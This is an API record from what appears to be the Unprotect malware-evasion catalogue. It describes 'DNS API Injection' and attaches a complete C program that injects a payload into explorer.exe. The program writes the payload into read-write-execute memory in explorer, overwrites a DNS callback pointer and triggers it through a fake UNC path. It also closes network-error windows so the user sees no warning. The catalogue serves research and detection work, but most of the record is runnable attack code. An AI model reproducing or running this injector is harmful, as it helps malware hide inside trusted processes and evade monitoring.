GET /api/techniques/161/
HTTP 200 OK
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "name": "DNS API Injection",
    "category": [
        "https://search.unprotect.it/api/categories/4/"
    ],
    "description": "Overwriting DNS memory functions to facilitate process injection. Sysmon v10 supports logging DNS queries. This feature that intercepts all the DNS requests on a monitored host, and if possible, maps them to the process name making that request. It is a nice addition to Sysmon’s already awesome logging capabilities.\r\n\r\nIf we can locate the address of dnsapi.dll in a remote process, find the address of exported DnsApiHeapReset function, then with a basic parsing of its code we can discover the address of each callback. Then, with a single, surgical WriteProcessMemory call we can modify any of them.",
    "resources": "https://modexp.wordpress.com/2019/08/08/windows-process-injection-dnsapi/\r\nhttp://www.hexacorn.com/blog/2019/06/12/code-execution-via-surgical-callback-overwrites-e-g-dns-memory-functions/",
    "tags": "dns, injection",
    "snippets": [
        {
            "language": "https://search.unprotect.it/api/snippet_languages/2/",
            "author": "https://search.unprotect.it/api/snippet_authors/6/",
            "technique": "https://search.unprotect.it/api/techniques/161/",
            "description": "Tested on Windows 10 64-bit.",
            "plain_code": "#include \"../ntlib/util.h\"\r\n\r\nHRESULT GetDesktopShellView(REFIID riid, void **ppv) {\r\n    HWND           hwnd;\r\n    IDispatch      *pdisp;\r\n    IShellWindows  *psw;\r\n    VARIANT        vEmpty = {};\r\n    IShellBrowser  *psb;\r\n    IShellView     *psv;\r\n    HRESULT        hr;\r\n    \r\n    *ppv = NULL;\r\n        \r\n    hr = CoCreateInstance(CLSID_ShellWindows, \r\n      NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&psw));\r\n      \r\n    if(hr == S_OK) {\r\n      hr = psw->FindWindowSW(\r\n        &vEmpty, &vEmpty, \r\n        SWC_DESKTOP, (long*)&hwnd, \r\n        SWFO_NEEDDISPATCH, &pdisp);\r\n        \r\n      if(hr == S_OK) {\r\n        hr = IUnknown_QueryService(\r\n          pdisp, SID_STopLevelBrowser, IID_PPV_ARGS(&psb));\r\n        if(hr == S_OK) {\r\n          hr = psb->QueryActiveShellView(&psv);\r\n          if(hr == S_OK) {\r\n            hr = psv->QueryInterface(riid, ppv);\r\n            psv->Release();\r\n          }\r\n          psb->Release();\r\n        }\r\n        pdisp->Release();\r\n      }\r\n      psw->Release();\r\n    }\r\n    return hr;\r\n}\r\n\r\nHRESULT GetShellDispatch(\r\n  IShellView *psv, REFIID riid, void **ppv) \r\n{\r\n    IShellFolderViewDual *psfvd;\r\n    IDispatch            *pdispBackground, *pdisp;;\r\n    HRESULT              hr;\r\n    \r\n    *ppv = NULL;\r\n    hr = psv->GetItemObject(\r\n      SVGIO_BACKGROUND, IID_PPV_ARGS(&pdispBackground));\r\n    \r\n    if(hr == S_OK) {\r\n      hr = pdispBackground->QueryInterface(IID_PPV_ARGS(&psfvd));\r\n      if(hr == S_OK) {\r\n        hr = psfvd->get_Application(&pdisp);\r\n        if(hr == S_OK) {\r\n          hr = pdisp->QueryInterface(riid, ppv);\r\n          pdisp->Release();\r\n        }\r\n        psfvd->Release();\r\n      }\r\n      pdispBackground->Release();\r\n    }\r\n    return hr;\r\n}\r\n\r\nHRESULT ShellExecInExplorer(PCWSTR pszFile) {\r\n    IShellView      *psv;\r\n    IShellDispatch2 *psd;\r\n    HRESULT         hr;\r\n    BSTR            bstrFile;\r\n    VARIANT         vtHide, vtEmpty = {};\r\n    \r\n    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);\r\n    \r\n    bstrFile = SysAllocString(pszFile);\r\n    if(bstrFile == NULL) return E_OUTOFMEMORY;\r\n    \r\n    hr = GetDesktopShellView(IID_PPV_ARGS(&psv));\r\n    if(hr == S_OK) {\r\n      hr = GetShellDispatch(psv, IID_PPV_ARGS(&psd));\r\n      if(hr == S_OK) {\r\n        V_VT(&vtHide)  = VT_INT;\r\n        V_INT(&vtHide) = SW_HIDE;\r\n        hr = psd->ShellExecuteW(\r\n          bstrFile, vtEmpty, vtEmpty, vtEmpty, vtEmpty);\r\n        psd->Release();\r\n      }\r\n      psv->Release();\r\n    }\r\n    SysFreeString(bstrFile);\r\n    return hr;\r\n}\r\n\r\nLPVOID GetDnsApiAddr(DWORD pid) {\r\n    LPVOID                m, rm, va = NULL;\r\n    PIMAGE_DOS_HEADER     dos;\r\n    PIMAGE_NT_HEADERS     nt;\r\n    PIMAGE_SECTION_HEADER sh;\r\n    DWORD                 i, cnt, rva=0;\r\n    PULONG_PTR            ds;\r\n    \r\n    // does remote have dnsapi loaded?\r\n    rm  = GetRemoteModuleHandle(pid, L\"dnsapi.dll\");\r\n    if(rm == NULL) return NULL;\r\n    \r\n    // load local copy\r\n    m   = LoadLibrary(L\"dnsapi.dll\");\r\n    dos = (PIMAGE_DOS_HEADER)m;  \r\n    nt  = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);  \r\n    sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + \r\n          nt->FileHeader.SizeOfOptionalHeader);\r\n          \r\n    // locate the .data segment, save VA and number of pointers\r\n    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {\r\n      if(*(PDWORD)sh[i].Name == *(PDWORD)\".data\") {\r\n        ds  = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);\r\n        cnt = sh[i].Misc.VirtualSize / sizeof(ULONG_PTR);\r\n        break;\r\n      }\r\n    }\r\n    // for each pointer\r\n    for(i=0; i<cnt - 1; i++) {\r\n      // if two pointers side by side are not to code, skip it\r\n      if(!IsCodePtr((LPVOID)ds[i  ])) continue;\r\n      if(!IsCodePtr((LPVOID)ds[i+1])) continue;\r\n      // calculate VA in remote process\r\n      va = ((PBYTE)&ds[i] - (PBYTE)m) + (PBYTE)rm;\r\n      break;\r\n    }\r\n    return va;\r\n}\r\n\r\n// for any \"Network Error\", close the window\r\nVOID SuppressErrors(LPVOID lpParameter) {\r\n    HWND hw;\r\n    \r\n    for(;;) {\r\n      hw = FindWindowEx(NULL, NULL, NULL, L\"Network Error\");\r\n      if(hw != NULL) {\r\n        PostMessage(hw, WM_CLOSE, 0, 0);\r\n      }\r\n    }\r\n}\r\n\r\nVOID dns_inject(LPVOID payload, DWORD payloadSize) {\r\n    LPVOID dns, cs, ptr;\r\n    DWORD  pid, cnt, tick, i, t;\r\n    HANDLE hp, ht;\r\n    SIZE_T wr;\r\n    HWND   hw;\r\n    WCHAR  unc[32]={L'\\\\', L'\\\\'}; // UNC path to invoke DNS api\r\n\r\n    // 1. obtain process id for explorer\r\n    //    and try read address of function pointers\r\n    GetWindowThreadProcessId(GetShellWindow(), &pid); \r\n    ptr = GetDnsApiAddr(pid);\r\n    \r\n    // 2. create a thread to suppress network errors displayed\r\n    ht = CreateThread(NULL, 0, \r\n      (LPTHREAD_START_ROUTINE)SuppressErrors, NULL, 0, NULL);\r\n      \r\n    // 3. if dns api not already loaded, try force \r\n    // explorer to load via fake UNC path\r\n    if(ptr == NULL) {\r\n      tick = GetTickCount();\r\n      for(i=0; i<8; i++) {\r\n        unc[2+i] = (tick % 26) + 'a';\r\n        tick >>= 2;\r\n      }\r\n      ShellExecInExplorer(unc);\r\n      ptr = GetDnsApiAddr(pid);\r\n    }\r\n    \r\n    if(ptr != NULL) {\r\n      // 4. open explorer, backup address of dns function.\r\n      //    allocate RWX memory and write payload\r\n      hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n      ReadProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);\r\n      cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n      WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n      \r\n      // 5. overwrite pointer to dns function\r\n      //    generate fake UNC path and trigger execution\r\n      WriteProcessMemory(hp, ptr, &cs, sizeof(ULONG_PTR), &wr);\r\n      tick = GetTickCount();\r\n      for(i=0; i<8; i++) {\r\n        unc[2+i] = (tick % 26) + L'a';\r\n        tick >>= 2;\r\n      }\r\n      ShellExecInExplorer(unc);\r\n      \r\n      // 6. restore dns function, release memory and close process\r\n      WriteProcessMemory(hp, ptr, &dns, sizeof(ULONG_PTR), &wr);\r\n      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n      CloseHandle(hp);\r\n    }\r\n    // 7. terminate thread\r\n    TerminateThread(ht, 0);\r\n}\r\n\r\nint main(void) {\r\n    LPVOID  pic;\r\n    DWORD   len;\r\n    int     argc;\r\n    wchar_t **argv;\r\n    \r\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\r\n    \r\n    if(argc != 2) {\r\n      printf(\"\\nusage: dnsinject <payload.bin>\\n\");\r\n      return 0;\r\n    }\r\n\r\n    len=readpic(argv[1], &pic);\r\n    if (len==0) { printf(\"\\ninvalid payload\\n\"); return 0;}\r\n    \r\n    dns_inject(pic, len);\r\n    \r\n    return 0;\r\n}"
        }
    ],
    "detection_rules": []
}